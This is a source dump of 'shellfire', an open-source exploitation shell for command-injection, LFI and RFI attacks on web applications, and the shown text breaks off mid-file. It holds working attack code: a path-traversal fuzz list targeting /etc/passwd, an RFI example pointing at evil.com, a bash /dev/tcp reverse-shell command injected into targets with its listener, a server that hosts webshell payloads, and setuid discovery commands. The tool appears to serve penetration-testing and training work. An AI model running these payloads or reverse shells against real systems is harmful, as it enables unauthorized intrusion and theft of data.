Full Code of unix-ninja/shellfire for AI

master 2cdd57ca9416 cached
13 files
54.9 KB
14.1k tokens
74 symbols
1 requests
Download .txt
Repository: unix-ninja/shellfire
Branch: master
Commit: 2cdd57ca9416
Files: 13
Total size: 54.9 KB

Directory structure:
gitextract_hi56ynpr/

├── .gitignore
├── LICENSE
├── README.md
├── requirements.txt
├── setup.py
└── shellfire/
    ├── __init__.py
    ├── commands.py
    ├── config.py
    ├── default_plugins/
    │   ├── __init__.py
    │   └── default.py
    ├── payloads.py
    ├── plugin_collection.py
    └── tab_completion.py

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
.DS_Store
.env
__pycache__
**/*.pyc
bin
include
lib
pyvenv.cfg
.flake8
shellfire.egg-info
dist
.vscode
Makefile


================================================
FILE: LICENSE
================================================
BSD 2-Clause License

Copyright (c) 2016, 
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

* Redistributions of source code must retain the above copyright notice, this
  list of conditions and the following disclaimer.

* Redistributions in binary form must reproduce the above copyright notice,
  this list of conditions and the following disclaimer in the documentation
  and/or other materials provided with the distribution.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.


================================================
FILE: README.md
================================================
# shellfire

_shellfire_ is an exploitation shell which focuses on exploiting command injection vulnerabilities. This can be useful when exploiting LFI, RFI, SSTI, etc.

I originally started developing this script while working on my OSCP labs. As the capabilities grew, I thought maybe other people could find this as 
useful as I have, so I decided to open source my tool.

## Features  

- [X] Persistent named configuration for multiple targets (and sharing!)  
- [X] Plugin system  
- [X] PHP payload  
- [X] ASP payload  


## Installation  

There are a few ways to install this tool. Shellfire is available via PyPI, so you can use pip.

```
$ pip install shellfire
```

From Kali Linux, you can even use apt.

```
$ sudo apt install shellfire
```

If you'd like to build from source, you can use the standard Python setuptools to install this package.

```
$ git clone https://github.com/unix-ninja/shellfire.git
$ cd shellfire
$ python setup.py install
```

## A few useful hints

After installing, you can just call 'shellfire' from your terminal.

```
$ shellfire
[*] ShellFire v0.11
[*] Type 'help' to see available commands
(config)>
```

You can type `help` at any time inside config mode for a list of available commands, or append 
the command you want to know more information about to help for specific 
details. For example `help http`.

Let's explore how to attack a basic RFI vulnerability!

To start exploitation, you need to specify at least the URL parameter of your target. 
Something like the following should work:

```
(config)> url http://example.com/?path=http://evil.com/script.php
```

Running any command now would cause your RFI to get executed on the remote target.

Let's say you want to arbitrarily control the payloads going to the path paramter. This time, we will use `{}` to specify our injection point.

```
(config)> url http://example.com/?path={}
```

Before we can send our payloads, we must enter shell mode.

```
(config)> shell
```

Now, you can just type the payload you want to send and hit enter.

```
(shell)> /etc/passwd
```

You can always type "exit" to return from shell mode, back to config mode.

```
(shell)> exit
```

At this point, you should have enough to exploit easy vulnerabilities. Payloads you enter on the shell will be appropriately injected and sent over to your target.

More complex vulnerabilities may require specifying additional options. 
For example, let's assume you needed to send a cookie with a session ID in 
order to exploit your target. You may want to add something like this:

```
(config)> cookies { "session_id" : "123456789" }
```

We can specify injection points in cookies too.

```
(config)> cookies { "session_id" : "123456789", "vuln_param": "{}" }
```

Additional options, and information on how to use them, can be discovered by 
using the `help` option in config mode.

Thanks to Offensive-Security for inspiring the creation of this utility.

Please use this tool for good.

Happy hacking!


## Testing  

Testing is currently being done against the [dvwa docker image](https://hub.docker.com/r/vulnerables/web-dvwa/).


================================================
FILE: requirements.txt
================================================
requests


================================================
FILE: setup.py
================================================
from setuptools import setup, find_packages

with open("README.md", "r") as fh:
    long_description = fh.read()

setup(name='shellfire',
    version='0.14',
    description=(
        'shellfire is an exploitation shell focusing on exploiting command '
        'injection vulnerabilities, eg., LFI, RFI, SSTI, etc.'
    ),
    url='https://github.com/unix-ninja/shellfire',
    author='unix-ninja',
    author_email='chris@unix-ninja.com',
    license='BSD',
    python_requires='>=3.8.0',
    long_description=long_description,
    long_description_content_type="text/markdown",
    packages=find_packages(),
    include_package_data=True,
    entry_points={
        "console_scripts": [
             "shellfire=shellfire:cli"
        ]
    },
    install_requires=[
        'requests'
        ]
    )


================================================
FILE: shellfire/__init__.py
================================================
#!/bin/env python3
# Thanks to Offensive-Security for inspiring this!
# Written by unix-ninja
# Aug 2016

import argparse
import os
import readline
import requests
import shlex
import signal
import sys
import time

from shellfire.config import cfg, state, prompt, Mode
from shellfire.commands import command_list, cmd_config, send_payload, payload_php, payload_aspnet


############################################################
## Version Check

if (sys.version_info < (3, 0)):
  sys.stderr.write("[!] Error! Must execute this script with Python3.")
  sys.exit(2)

############################################################
## Parse options

parser = argparse.ArgumentParser(
    description='An exploitation shell for command injection vulnerabilities.')
parser.add_argument('-c',
                    dest='config',
                    action='store',
                    nargs='?',
                    default=None,
                    const='default',
                    help='load a named config on startup.')
parser.add_argument('-d',
                    dest='debug',
                    action='store_true',
                    help='enable debugging (show queries during execution)')
parser.add_argument('--generate',
                    dest='payload',
                    help='generate a payload to stdout. PAYLOAD can be "php" or "aspnet".')
parser.add_argument('--version',
                    dest='version',
                    action='store_true',
                    help='display version and exit.')
state.args = parser.parse_args()

############################################################
## Main App


def draw_prompt():
  return '(%s)> ' % prompt[state.mode]


def sigint_handler(signum, frame):
  state.userinput =""
  _q = readline.get_line_buffer()
  state.input_offset = len(_q)
  sys.stderr.write("\n%s" % (draw_prompt()))
  return


def cli():
  ## should we dump version?
  if state.args.version:
    sys.stderr.write("Shellfire v%s\n" % (cfg.version))
    sys.exit(1)
  ## if we are generating a payload to stdout, do it now, then bail
  if state.args.payload:
    state.args.payload = state.args.payload.lower()
    if state.args.payload == "php":
      sys.stderr.write("[*] Generating PHP payload...\n")
      payload_php()
    elif state.args.payload == "aspnet":
      sys.stderr.write("[*] Generating ASP.NET payload...\n")
      payload_aspnet()
    else:
      sys.stderr.write("[*] Invalid payload!\n")
    sys.stdout.write(cfg.payload)
    sys.exit(1)

  ## show our banner
  sys.stdout.write("""                  1@@`
                 ,@@@@%:
              '?K@@@@@@@h'
            |UQ@@@@@@@@@@m`      '
      ,   |Q@@@@@@@@@@@@@@>      *B,
    ~4x  L@@@@@@@@@@@@@@@@y      :QQ=
  ~d@@t ,Q@@@@@@@@@@@@@@@@@?     :Q@@y`
 ;Q@@@D.r@@@@@@@QNOppd%Q@@@@3,` ,4@@@@z
^Q@@@@@Kz@@@j+,         `,=yQ@@@@@@@@@@=
U@@@@@@@@Qu,                `}Q@@@@@@@@X
Q@@@@@@@}`                    .j@@@@@@@Q
@@@@@@@L                        L@@@@@@@
@@@@@@0-                        'g@@@@@@
D@@@@@O`                        `D@@@@@D
c@@@@@Q;    /@@@@\    /@@@@\    ;Q@@@@@\\
`3@@@@@Q;   @@@@@@.  ,@@@@@@   ;Q@@@@@3`
 -q@@@@@Qr  \\@@@@/    \\@@@@/  ~Q@@@@@A-
   LQ@@@@x        .@@.        >@@@@QL
    ~d@@@Q\\'      i@@i      `=8@@@Q~
      =O@@@@@l            ~Q@@@@O=`
        ;{8@@g;  |    |  '4@@8{;
           `^tPp$p%g0Rdkhm1^'
""")
  sys.stdout.write("[*] ShellFire v" + cfg.version + "\n")
  sys.stdout.write("[*] Type 'help' to see available commands\n")
  if state.args.debug is True:
    sys.stdout.write("[*] Debug mode enabled.\n")

  requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

  ## if we specified to load a named config, do it now
  if state.args.config:
    cmd_config([".config", "load", state.args.config])

  ## setup history
  if os.path.isfile(cfg.history_file):
    try:
      readline.read_history_file(cfg.history_file)
    except Exception:
      pass

  ## setup tab completion
  try:
    from shellfire.tab_completion import ShellfireCompleter
    completer = ShellfireCompleter()
    readline.set_completer(completer.complete)
    
    # Set up tab binding for macOS (libedit) vs GNU readline
    if sys.platform == 'darwin':
      # macOS uses libedit which has different binding syntax
      readline.parse_and_bind('bind ^I rl_complete')
    else:
      # GNU readline
      readline.parse_and_bind('tab: complete')
  except Exception as e:
    # Silently fail if tab completion setup fails
    pass

  ## set initial payload for PHP
  payload_php()

  ## register our sigint handler
  signal.signal(signal.SIGINT, sigint_handler)
  ## main loop
  while True:
    while state.revshell_running:
      try:
        time.sleep(0.1)
      except Exception:
        state.revshell_running = False
    ## reset command execution state each loop
    state.exec_cmd = True
    ## prompt for input
    try:
      state.userinput = input(draw_prompt()).strip()
      if state.input_offset > 0:
        state.userinput = state.userinput[state.input_offset:]
        state.input_offset = 0
    except EOFError:
      ## if we recieve EOF, run cmd_exit()
      sys.stdout.write("\n")
      command_list["exit"]['func']("exit")
    if not state.userinput:
      continue
    ## parse our input
    cmd = shlex.split(state.userinput)

    ## config mode
    if state.mode == Mode.config:
      if cmd[0] in command_list.keys():
        state.exec_cmd = False
        try:
          command_list[cmd[0]]['func'](cmd)
        except Exception as e:
          sys.stdout.write("[!] %s\n" % (repr(e)))
      else:
        sys.stdout.write("[!] Invalid command '%s'.\n" % (cmd[0]))
    ## shell mode
    elif state.mode == Mode.shell:
      if len(cmd)== 1 and cmd[0] == "exit":
        command_list[cmd[0]]['func'](cmd)
      else:
        send_payload()


## Main entrypoint - let's not pollute the global scope here.
if __name__ == "__main__":
  cli()


================================================
FILE: shellfire/commands.py
================================================
import copy
import json
import os
import readline
import requests
import select
import socket
import sys
import threading
import time
import urllib.parse
from shellfire.config import cfg, state, Mode
from shellfire.plugin_collection import plugins
from shellfire.payloads import get_aspnet_payload, get_php_payload


############################################################
## Payloads


def payload_aspnet():
  cfg.payload = get_aspnet_payload(cfg.marker)
  cfg.payload_type = "ASP.NET"
  return


def payload_php():
  cfg.payload = get_php_payload(cfg.marker)
  cfg.payload_type = "PHP"
  return


def payload_fuzzfile():
  ## root:.:0:0:.*:.*:.+
  if cfg.fuzzfile == 'default':
    payload = [r"../../../../../../../../../etc/passwd",
      r"../../../../../../../../etc/passwd",
      r"../../../../../../../etc/passwd",
      r"../../../../../../etc/passwd",
      r"../../../../../etc/passwd",
      r"../../../../etc/passwd",
      r"../../../etc/passwd",
      r"../../../../../../../../../../../../etc/passwd%00",
      r"../../../../../../../../../../../../etc/passwd",
      r"/../../../../../../../../../../etc/passwd^^",
      r"/../../../../../../../../../../etc/passwd",
      r"/./././././././././././etc/passwd",
      r"\..\..\..\..\..\..\..\..\..\..c\passwd",
      r"..\..\..\..\..\..\..\..\..\..c\passwd",
      r"/..\../..\../..\../..\../..\../..\../etc/passwd",
      r".\./.\./.\./.\./.\./.\./etc/passwd",
      r"\..\..\..\..\..\..\..\..\..\..c\passwd%00",
      r"..\..\..\..\..\..\..\..\..\..c\passwd%00",
      r"%0a/bin/cat%20/etc/passwd",
      r"%00/etc/passwd%00",
      r"%00../../../../../../etc/passwd",
      r"/../../../../../../../../../../../etc/passwd%00.jpg",
      r"/../../../../../../../../../../../etc/passwd%00.html",
      r"/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd",
      r"/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
      r"\&apos;/bin/cat%20/etc/passwd\&apos;"
    ]
  else:
    payload = []
    with open(cfg.fuzzfile, 'r') as file:
      payloads = file.readlines()
      for p in payloads:
        payload.append(p)
  return payload


############################################################
## Functions

def show_help(cmd=None):
  if cmd and cmd[0:1] == '.':
    cmd = cmd[1:]
  if cmd in command_list:
    if len(command_list[cmd]["help_text"]):
      sys.stdout.write("".join(command_list[cmd]["help_text"]))
    else:
      sys.stdout.write("command doesn't have help text\n")
  else:
    sys.stdout.write("Available commands:\n")
    for cmd_key in command_list:
      sys.stdout.write("  %s\n" % (cmd_key))


def http_server(port):
  ## super simple http. we can probably make this more robust.
  ## set up network listener first
  addr = ''
  conn = None
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  sock.settimeout(1)
  sock.bind((addr, port))
  sock.listen(1)
  ## server loop
  while state.http_running is True:
    try:
      if not conn:
        conn, addr = sock.accept()
      conn.recv(1024)

      http_response = "HTTP/1.1 200 OK\n\n" + cfg.payload + "\n"

      ## send payload to the client
      conn.send(bytes(http_response, 'utf-8'))
      conn.close()
      conn = None
    except Exception as e:
      if state.args.debug:
        sys.stderr.write("[!] Err. socket.error : %s\n" % e)
      pass
  sys.stdout.write("[*] HTTP Server stopped\n")


def rev_shell(addr, port):
  ## setup listener for reverse shell
  port = int(port)
  state.revshell_running = True
  conn = None
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  sock.bind((addr, port))
  sock.listen(1)
  conn, client_address = sock.accept()

  ## listener loop
  while True:
    socket_list = [conn, sys.stdin]
    read_sockets, write_sockets, error_sockets = select.select(
        socket_list, [], [])

    ## wait for connections
    for s in read_sockets:
      if s == conn:
        data = s.recv(4096)
        if not data:
          state.revshell_running = False
          return
        else:
          sys.stdout.write(data)
          sys.stdout.flush()
      else:
        msg = input()
        conn.send(msg)

  ## cleanup
  conn.close()
  state.revshell_running = False
  return


def parse_to_dict(data):
  if data[0] == "{":
    ## try to parse as json encoded data
    try:
      return json.loads(data)
    except Exception as e:
      sys.stderr.write("[!] %s\n" % e)
  else:
    ## try to parse as url encoded data
    try:
      d = urllib.parse.parse_qs(data.strip())
      ## flatten lists if they are of size 1
      ## this is especially necessary for cookies
      for k,v in d.items():
        if len(v) == 1:
          d[k] = v[0]
      ## return our dict
      return d
    except Exception as e:
      sys.stderr.write("[!] %s\n" % e)
  ## if we failed to pase, return an empty dict
  return {}


def cmd_auth(cmd):
  ## configure HTTP Basic auth settings
  if len(cmd) > 1:
    cfg.auth_user, cfg.auth_pass = cmd[2][len(cmd[0]) + 1:].split(":", 1)
    cfg.auth = requests.auth.HTTPBasicAuth(cfg.auth_user, cfg.auth_pass)
  else:
    sys.stdout.write("[*] HTTP Auth: %s:%s\n" % (cfg.auth_user, cfg.auth_pass))
  return


def cmd_config(cmd):
  ## manage our configs
  if len(cmd) > 3:
    sys.stdout.write("[!] Invalid parameters for .config\n")
    return
  elif len(cmd) > 1:
    if len(cmd) == 3:
      name = cmd[2] + ".cfg"
    else:
      name = 'default.cfg'
    config_path = os.path.expanduser("~") + "/.config/shellfire/"
    name = config_path + name
    if cmd[1] == "save":
      ## make sure our directory exists
      if not os.path.isdir(config_path):
        os.makedirs(config_path)
      ## save our config to json
      with open(name, 'w') as my_config:
        my_config.write(cfg.dump())
        sys.stdout.write("[*] Config saved.\n")
    elif cmd[1] == "load":
      ## load json into our config
      try:
        with open(name, 'r') as my_config:
          cfg.load(json.load(my_config))
          sys.stdout.write("[*] Config restored.\n")
      except Exception:
        sys.stdout.write("[!] Unable to restore config!\n")
  return


def cmd_cookies(cmd):
  ## configure cookies to be sent to target
  ## right now, we only parse JSON
  if len(cmd) < 2:
    sys.stdout.write("[*] Cookies: %s\n" % (json.dumps(cfg.cookies)))
    return
  ## grab our original input, sans our initial command
  data = state.userinput[len(cmd[0]):].strip()
  ## parse our data
  cfg.cookies = parse_to_dict(data)
  if cfg.cookies:
    sys.stdout.write("[*] Cookies set: %s\n" % json.dumps(cfg.cookies))
  return


def cmd_encode(cmd):
  ## if no params passed, display current encoding plugins
  if len(cmd) == 1:
    sys.stdout.write("[*] Encoding: %s\n" % (' | '.join(cfg.encode_chain)))
    return
  ## Set our encoding plugins!
  ## let's remove ".encode" from our cmd
  cmd.pop(0)
  ## reset our chain
  cfg.encode_chain = []
  ## try to load our plugins
  try:
    for c in cmd:
      if c != "|" and c != "''" and c != '""':
        if c in plugins.plugins:
          cfg.encode_chain.append(c)
        else:
          cfg.encode_chain = []
          sys.stdout.write("[!] Invalid plugin '%s'\n" % (c))
          return
  except Exception as e:
    sys.stdout.write("[!] Error: %s\n" % (e))
  return


def cmd_exit(cmd):
  ## exit one level from our current mode
  if state.mode == Mode.config:
    state.http_running = False
    if os.path.isfile(cfg.history_file):
      readline.write_history_file(cfg.history_file)
    sys.exit(0)
  elif state.mode == Mode.shell:
    state.mode = Mode.config


def cmd_files(cmd):
  ## set files to send to remote target
  if len(cmd) == 1:
    sys.stdout.write("[*] Files: %s\n" % (cfg.files))
    return
  if cmd[1] == "":
    cfg.files = {}
    sys.stdout.write("[*] Files cleared.\n")
    return
  if len(cmd) != 3:
    sys.stdout.write("[!] Invalid parameters!\n")
    return
  ## label our vars
  key = cmd[1]
  name = cmd[2]
  ## parse our command
  cfg.files = {'key': key}
  if name[0] == "@":
    cfg.files['file'] = name[1:]
    sys.stdout.write("[*] File set.\n")
  else:
    cfg.files['plugin'] = name
    sys.stdout.write("[*] Plugin set.\n")
  return


def cmd_find(cmd):
  ## run "find" on remote target
  if len(cmd) != 2:
    sys.stdout.write("[!] Invalid parameters\n")
    return
  if cmd[1] == "setgid":
    state.userinput = "find / -type f -perm -02000 -ls"
  elif cmd[1] == "setuid":
    state.userinput = "find / -type f -perm -04000 -ls"
  else:
    sys.stderr.write("[!] Invalid parameters\n")
    return
  state.exec_cmd = True
  return


def cmd_fuzz(cmd):
  ## set files to send to remote target
  if len(cmd) == 1:
    sys.stdout.write("[*] Fuzz file: %s\n" % (cfg.fuzzfile))
    return
  if cmd[1] == "start":
    sys.stderr.write("[*] Starting fuzzer...\n")
    state.exec_cmd = True
    for payload in payload_fuzzfile():
      state.userinput = payload
      sys.stdout.write("[*] payload: %s\n" % (payload))
      send_payload()
    state.exec_cmd = False
  else:
    cfg.fuzzfile = cmd[1]
  return


def cmd_headers(cmd):
  """List or configure the HTTP request headers
    .headers
    .headers default
    .headers {"X-EXAMPLE-HEADER": "SomeValueHere" }
  Args:
    cmd (Str): "default" to reset the headers, otherwise a JSON string of
                the preferred header set.
  """
  if len(cmd) < 1:
    sys.stderr.write("[!] Invalid parameters\n")
    sys.stderr.write("    .headers {\"X-EXAMPLE\": \"some_value_here\"}\n")
    sys.stderr.write("    .headers default\n")
    return
  elif len(cmd) == 1:
    sys.stdout.write("[*] Request headers are: \n")
    sys.stdout.write(json.dumps(cfg.headers, indent=2) + "\n")
    return
  ## let's set our headers!
  if cmd[1] == "default":
    cfg.headers = cfg.default_headers
    sys.stdout.write("[*] Set request headers back to default.\n")
    return
  ## grab our original input, sans our initial command
  data = state.userinput[len(cmd[0]):].strip()
  ## parse our data
  cfg.headers = parse_to_dict(data)
  if cfg.headers:
    sys.stdout.write("[*] Request headers are now: \n")
    sys.stdout.write(json.dumps(cfg.headers, indent=2) + "\n")
  return


def cmd_help(cmd):
  if len(cmd) == 2:
    show_help(cmd[1])
  else:
    show_help()
  return


def cmd_history(cmd):
  ## configure history settings for shellfire (via readline)
  if len(cmd) == 1:
    if os.path.isfile(cfg.history_file):
      sys.stdout.write("[*] History writing is enabled\n")
    else:
      sys.stdout.write("[*] History writing is disabled\n")
  else:
    if cmd[1] == "clear":
      readline.clear_history()
      sys.stdout.write("[*] History is cleared\n")
    elif cmd[1] == "save":
      with open(cfg.history_file, 'a'):
        os.utime(cfg.history_file, None)
      sys.stdout.write("[*] History writing is enabled\n")
    elif cmd[1] == "nosave":
      os.remove(cfg.history_file)
      sys.stdout.write("[*] History writing is disabled\n")
  return


def cmd_http(cmd):
  ## control our local http server
  if len(cmd) == 1:
    if state.http_running is True:
      sys.stdout.write("[*] HTTP server listening on %s\n" % cfg.http_port)
      sys.stdout.write("[*] HTTP payload: %s\n" % cfg.payload_type)
    else:
      sys.stdout.write("[*] HTTP server is not running\n")
    return
  if cmd[1] == "start":
    if state.http_running is False:
      if len(cmd) > 2:
        try:
          cfg.http_port = int(cmd[2])
        except Exception:
          sys.stderr.write("[!] Invalid port value: %s\n" % (cmd[2]))
          return
      s = threading.Thread(target=http_server, args=(cfg.http_port,))
      s.start()
      state.http_running = True
      sys.stdout.write("[*] HTTP server listening on %s\n" % cfg.http_port)
    else:
      sys.stderr.write("[!] HTTP server already running\n")
  elif cmd[1] == "stop":
    if state.http_running is True:
      state.http_running = False
      time.sleep(1)
    else:
      sys.stderr.write("[!] HTTP server already stopped\n")
  elif cmd[1] == "payload":
    if cmd[2] == "aspnet":
      payload_aspnet()
    elif cmd[2] == "php":
      payload_php()
    else:
      sys.stderr.write("[!] Unrecognized payload type\n")
      return
    sys.stdout.write("[*] HTTP payload set: %s\n" % cfg.payload_type)
  return


def cmd_marker(cmd):
  ## set the marker for our rce payloads
  ## this will determine boundaries to split and clean output
  if len(cmd) == 1:
    sys.stderr.write("[*] Payload marker: %s\n" % (cfg.marker))
    if cfg.marker:
      idx_str = ' '.join(str(idx) for idx in cfg.marker_idx)
    else:
      idx_str = 'disabled'
    sys.stderr.write("[*] Marker indices: %s\n" % (idx_str))
    return
  ## let's remove "marker" from our cmd
  cmd.pop(0)

  ## assign our action and remove it from cmd
  action = cmd[0]
  cmd.pop(0)

  ## process our action
  if action == "set":
    ## set the rest of the string as our marker
    cfg.marker = " ".join(cmd)
    if not cfg.marker: cfg.marker = None
    sys.stdout.write("[*] Payload output marker set.\n")
  elif action == "out":
    cfg.marker_idx = [int(idx) for idx in cmd]
    sys.stdout.write("[*] Marker indices set.\n")
  else:
    sys.stdout.write("[!] Bad marker param!\n")
  return


def cmd_method(cmd):
  ## configure HTTP method to use against the target
  if len(cmd) > 2:
    sys.stderr.write("[!] Invalid parameters\n")
    sys.stderr.write("    .method <method>\n")
    return
  if len(cmd) == 2:
    if cmd[1] == "post":
      cfg.method = "post"
    elif cmd[1] == "form":
      cfg.method = "form"
    else:
      cfg.method = "get"
  sys.stdout.write("[*] HTTP method set: %s\n" % cfg.method.upper())
  return


def cmd_phpinfo(cmd):
  ## trigger phpinfo payload
  state.userinput = "_show_phpinfo"
  state.exec_cmd = True
  return


def cmd_plugins(cmd):
  ## show our available plugins
  sys.stdout.write("[*] Available plugins: %s\n" % (' '.join(plugins.plugins)))
  return


def cmd_post(cmd):
  ## configure POST data to send
  if len(cmd) < 2:
    sys.stdout.write("[*] POST data: %s\n" % json.dumps(cfg.post_data))
    return
  ## grab our original input, sans our initial command
  data = state.userinput[len(cmd[0]):].strip()
  ## parse the data
  cfg.post_data = parse_to_dict(data)
  if cfg.post_data:
    sys.stdout.write("[*] POST data set: %s\n" % json.dumps(cfg.post_data))
  return


def cmd_referer(cmd):
  ## set HTTP referer
  if len(cmd) > 1:
    cmd.pop(0)
    cfg.headers['Referer'] = " ".join(cmd)
  sys.stdout.write("[*] Referer set: %s\n" % cfg.headers['Referer'])
  return


def cmd_revshell(cmd):
  ## initiate a reverse shell via rce
  if len(cmd) != 3:
    sys.stderr.write("[!] Invalid parameters\n")
    sys.stderr.write("    .shell <ip_address> <port>\n")
    return
  sys.stdout.write("[*] Initiating reverse shell...\n")
  host = cmd[1]
  port = cmd[2]
  state.userinput = "bash -i >& /dev/tcp/" + host + "/" + port + " 0>&1"

  ## open our reverse shell in a new thread
  s = threading.Thread(target=rev_shell, args=(host, port))
  s.start()

  ## make sure the thread is init before proceeding
  time.sleep(1)

  state.exec_cmd = True
  return


def cmd_shell(cmd):
  if state.mode == Mode.config:
    state.mode = Mode.shell
  return


def cmd_url(cmd):
  ## set URL for remote target
  if len(cmd) > 1:
    cfg.url = state.userinput[len(cmd[0]) + 1:]
  sys.stdout.write("[*] Exploit URL set: %s\n" % cfg.url)
  return


def cmd_useragent(cmd):
  ## set the user agenet to send to target
  if len(cmd) > 1:
    cfg.headers['User-Agent'] = state.userinput[len(cmd[0]) + 1:]
  sys.stdout.write("[*] User-Agent set: %s\n" % cfg.headers['User-Agent'])
  return

def expand_payload(my_list, data):
  ## if we have a dict, expand our marker tags `{}` recursively
  if not isinstance(my_list, dict) and not isinstance(my_list, list):
    return
  if isinstance(my_list, dict):
    ## process as a dict
    for k, v in my_list.items():
        if isinstance(my_list[k], dict) or isinstance(my_list[k], list):
          expand_payload(my_list[k], data)
        else:
          my_list[k] = v.replace('{}', data)
  else:
    ## process as a list
    for k, v in enumerate(my_list):
        if isinstance(v, dict) or isinstance(v, list):
          expand_payload(v, data)
        else:
          my_list[k] = v.replace('{}', data)
  return

def send_payload():
  ## execute our command to the remote target
  if state.exec_cmd:
    cmd = state.userinput

    ## let's run our input through our encoding plugins
    if len(cfg.encode_chain):
      try:
        for enc in cfg.encode_chain:
          cmd = plugins.plugins[enc].run(cmd)
      except Exception:
        pass

    ## generate GET payloads
    if '{}' in cfg.url:
      query = cfg.url.replace('{}', cmd.strip())
    else:
      query = cfg.url

    ## generate POST payloads
    post_data = copy.deepcopy(cfg.post_data)
    expand_payload(post_data, cmd.strip())

    ## generate cookie payloads
    cookie_data = copy.deepcopy(cfg.cookies)
    expand_payload(cookie_data, cmd.strip())
    requests.utils.add_dict_to_cookiejar(state.requests.cookies, cookie_data)

    ## generate headers payloads
    header_data = copy.deepcopy(cfg.headers)
    expand_payload(header_data, cmd.strip())

    ## log debug info
    if state.args.debug:
      sys.stdout.write("[D] URL %s\n" % query)
      if cfg.method == "post":
        sys.stdout.write("[D] POST %s\n" % json.dumps(post_data))
      sys.stdout.write("[D] Cookies %s\n" % json.dumps(cookie_data))
      sys.stdout.write("[D] Headers %s\n" % json.dumps(header_data))
    try:
      if cfg.method == "post":
        r = state.requests.post(
            query,
            data=post_data,
            verify=False,
            # cookies=cookie_data,
            headers=header_data,
            auth=cfg.auth)
      elif cfg.method == "form":
        files = {'': (None, '')}
        ## do we have files to upload?
        if 'key' in cfg.files.keys():
          ## check for raw files first
          if 'file' in cfg.files.keys():
            try:
              files = {cfg.files['key']: open(cfg.files['file'], 'rb')}
            except Exception as e:
              sys.stdout.write("[!] Error opening file for multpart upload: %s\n" % (e))
          ## check for plugins next
          elif 'plugin' in cfg.files.keys():
            try:
              if cfg.files['plugin'] in plugins.plugins:
                files = {cfg.files['key']: plugins.plugins[cfg.files['plugin']].run(cmd)}
              else:
                sys.stdout.write("[!] Invalid plugin '%s'\n" % (cmd[1]))
            except Exception as e:
              sys.stdout.write("[!] Error: %s\n" % (e))
        ## post our form data
        r = state.requests.post(
            query,
            data=post_data,
            files=files,
            verify=False,
            cookies=cookie_data,
            headers=header_data,
            auth=cfg.auth)
      else:
        r = state.requests.get(
            query,
            verify=False,
            cookies=cookie_data,
            headers=header_data,
            auth=cfg.auth)
      ## sanitize the output. we only want to see our commands if possible
      output = ""
      if cfg.marker:
        buffer = r.text.split(cfg.marker)
        if len(buffer) > 1:
          for idx in cfg.marker_idx:
            output = output + buffer[idx] + "\n"
        else:
          output = buffer[0]
        ## strip trailing newlines
        output = output.rstrip()
      else:
        output = r.text
      ## display our results
      sys.stdout.write(output + "\n")
      if state.userinput == '_show_phpinfo':
        file = 'phpinfo.html'
        fp = open(file, 'w')
        fp.write(output)
        fp.close()
        sys.stdout.write("[*] Output saved to '" + file + "'.\n")
    except Exception as e:
      sys.stderr.write("[!] Unable to make request to target.\n")
      sys.stderr.write("[!]   %s\n" % e)
      sys.stdout.flush()
  return


############################################################
## Command list
"""Data structure of all available shellfire commands.
"""
command_list = {
  "auth": {
    "func": cmd_auth,
    "description": "",
    "help_text": [
      "auth                       - show current HTTP Auth credentials.\n",
      "auth <username>:<password> - set the HTTP Auth credentials.\n",
    ],
  },
  "config": {
    "func": cmd_config,
    "description": "",
    "help_text": [
      "config save [name] - save a named config.\n",
      "config load [name] - load a named config.\n",
    ],
  },
  "cookies": {
    "func": cmd_cookies,
    "description": "",
    "help_text": [
      "cookies          - show current cookies to be sent with each request.\n",
      "cookies <string> - a string representing cookies you wish to send.\n",
      "                   strings can be json or url encoded.\n",
      "                   use '{}' to specify where command injection goes.\n",
    ],
  },
  "encode": {
    "func": cmd_encode,
    "description": "",
    "help_text": [
      "encode          - show current encoding used before sending commands.\n",
      "encode <string> - encode commands with plugin <string> before sending.\n",
      "      * you may pass multiple plugins separated with spaces or pipes.\n",
    ],
  },
  "exit": {
    "func": cmd_exit,
    "description": "",
    "help_text": [
      "exit - exits this program.\n"
    ],
  },
  "files": {
    "func": cmd_files,
    "description": "",
    "help_text": [
      "files                  - show files to be sent to target.\n",
      "files \"\"               - unset files.\n",
      "files <field> @<file>  - send contents of file as <field>.\n",
      "files <field> <plugin> - send return value of plugin as <field>.\n",
      "                         the plugin should return a tuple of values\n",
      "                         for the filename and contents.\n",
    ],
  },
  "find": {
    "func": cmd_find,
    "description": "",
    "help_text": [
      "find setuid - search for setuid files.\n",
      "find setgid - search for setgid files.\n",
    ],
  },
  "fuzz": {
    "func": cmd_fuzz,
    "description": "",
    "help_text": [
      "fuzz         - show source for fuzzing.\n",
      "fuzz start   - start fuzzing.\n",
      "fuzz @<file> - use file as source for fuzzing.\n",
      "               type 'default' to use bult-in source.\n",
    ],
  },
  "headers": {
    "func": cmd_headers,
    "description": "",
    "help_text": [
